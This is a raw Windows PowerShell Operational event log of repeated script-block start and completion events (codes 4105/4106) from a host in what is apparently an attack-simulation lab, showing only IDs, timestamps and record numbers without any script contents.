LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050655
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050654
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050653
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050652
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050635
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050630
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050629
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
